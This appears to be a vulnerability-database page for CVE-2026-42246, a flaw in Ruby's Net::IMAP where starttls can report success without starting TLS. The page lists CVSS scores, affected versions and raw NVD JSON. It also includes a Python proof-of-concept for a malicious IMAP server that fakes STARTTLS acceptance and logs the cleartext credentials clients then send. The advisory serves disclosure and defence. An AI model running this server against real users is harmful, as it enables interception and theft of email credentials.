Security Vulnerability Report
中文
CVE-2026-42246 CVSS 7.4 HIGH

CVE-2026-42246

Published: 2026-05-09 20:16:28
Last Modified: 2026-05-18 18:08:41

Description

Net::IMAP implements Internet Message Access Protocol (IMAP) client functionality in Ruby. Prior to versions 0.3.10, 0.4.24, 0.5.14, and 0.6.4, a man-in-the-middle attacker can cause Net::IMAP#starttls to return "successfully", without starting TLS. This issue has been patched in versions 0.3.10, 0.4.24, 0.5.14, and 0.6.4.

CVSS Details

CVSS Score
7.4
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N

Configurations (Affected Products)

cpe:2.3:a:ruby-lang:net\:\:imap:*:*:*:*:*:ruby:*:* - VULNERABLE
cpe:2.3:a:ruby-lang:net\:\:imap:*:*:*:*:*:ruby:*:* - VULNERABLE
cpe:2.3:a:ruby-lang:net\:\:imap:*:*:*:*:*:ruby:*:* - VULNERABLE
cpe:2.3:a:ruby-lang:net\:\:imap:*:*:*:*:*:ruby:*:* - VULNERABLE
Ruby Net::IMAP < 0.3.10
Ruby Net::IMAP >= 0.4.0, < 0.4.24
Ruby Net::IMAP >= 0.5.0, < 0.5.14
Ruby Net::IMAP >= 0.6.0, < 0.6.4

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# This is a Proof of Concept (PoC) for a malicious IMAP server. # It demonstrates how a server (or MitM) can exploit CVE-2026-42246 # by accepting STARTTLS but not starting TLS, causing a vulnerable client to send credentials in cleartext. import socket import threading def handle_client(client_socket): # Send IMAP greeting client_socket.send(b'* OK IMAP4rev1 Server Ready\r\n') while True: data = client_socket.recv(1024) if not data: break decoded_data = data.decode('utf-8').strip() print(f"Client sent: {decoded_data}") if 'STARTTLS' in decoded_data.upper(): # Vulnerability Trigger: # Server responds OK to STARTTLS but DOES NOT upgrade to SSL/TLS. # A vulnerable client will think encryption is active and send sensitive data. client_socket.send(b'OK Begin TLS negotiation now\r\n') print("[!] Sent fake OK for STARTTLS. Waiting for cleartext login...") elif 'LOGIN' in decoded_data.upper(): # If we receive LOGIN here, the client is vulnerable (sending creds in cleartext). print("[!] VULNERABILITY CONFIRMED: Credentials sent in cleartext!") client_socket.send(b'OK LOGIN completed\r\n') else: client_socket.send(b'OK Unknown command\r\n') client_socket.close() def start_malicious_server(host='0.0.0.0', port=143): server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) server.bind((host, port)) server.listen(5) print(f"[*] Malicious IMAP server listening on {host}:{port}") while True: client, addr = server.accept() print(f"[*] Accepted connection from {addr[0]}:{addr[1]}") client_handler = threading.Thread(target=handle_client, args=(client,)) client_handler.start() if __name__ == "__main__": start_malicious_server()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-42246", "sourceIdentifier": "[email protected]", "published": "2026-05-09T20:16:28.163", "lastModified": "2026-05-18T18:08:40.813", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Net::IMAP implements Internet Message Access Protocol (IMAP) client functionality in Ruby. Prior to versions 0.3.10, 0.4.24, 0.5.14, and 0.6.4, a man-in-the-middle attacker can cause Net::IMAP#starttls to return \"successfully\", without starting TLS. This issue has been patched in versions 0.3.10, 0.4.24, 0.5.14, and 0.6.4."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 7.6, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "PRESENT", "privilegesRequired": "NONE", "userInteraction": "PASSIVE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N", "baseScore": 7.4, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.2, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-392"}, {"lang": "en", "value": "CWE-393"}, {"lang": "en", "value": "CWE-636"}, {"lang": "en", "value": "CWE-754"}, {"lang": "en", "value": "CWE-841"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:ruby-lang:net\\:\\:imap:*:*:*:*:*:ruby:*:*", "versionEndExcluding": "0.3.10", "matchCriteriaId": "E2B6117A-DE77-4BB9-A73C-F20933514BAB"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ruby-lang:net\\:\\:imap:*:*:*:*:*:ruby:*:*", "versionStartIncluding": "0.4.0", "versionEndExcluding": "0.4.24", "matchCriteriaId": "79EE9345-B825-40F9-9CFF-9E9E1A3783DD"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ruby-lang:net\\:\\:imap:*:*:*:*:*:ruby:*:*", "versionStartIncluding": "0.5.0", "versionEndExcluding": "0.5.14", "matchCriteriaId": "2CCEB891-1D8F-4431-A79C-2A7560A84F4E"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ruby-lang:net\\:\\:imap:*:*:*:*:*:ruby:*:*", "versionStartIncluding": "0.6.0", "versionEndExcluding": "0.6.4", "matchCriteriaId": "9A6D1995-BFA3-490F-967D-252CA7BE2264"}]}]}], "references": [{"url": "https://github.com/ruby/net-imap/commit/0ede4c40b1523dfeaf95777b2678e54cc0fd9618", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/ruby/net-imap/commit/24a4e770b43230286a05aa2a9746cdbb3eb8485e", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/ruby/net-imap/commit/97e2488fb5401a1783bddd959dde007d9fbce42c", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/ruby/net-imap/commit/f79d35bf5833f186e81044c57c843eda30c873da", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/ruby/net-imap/releases/tag/v0.3.10", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/ruby/net-imap/releases/tag/v0.4.24", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/ruby/net-imap/releases/tag/v0.5.14", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/ruby/net-imap/security/advisories/GHSA-vcgp-9326-pqcp", "source": "[email protected]" ... (truncated)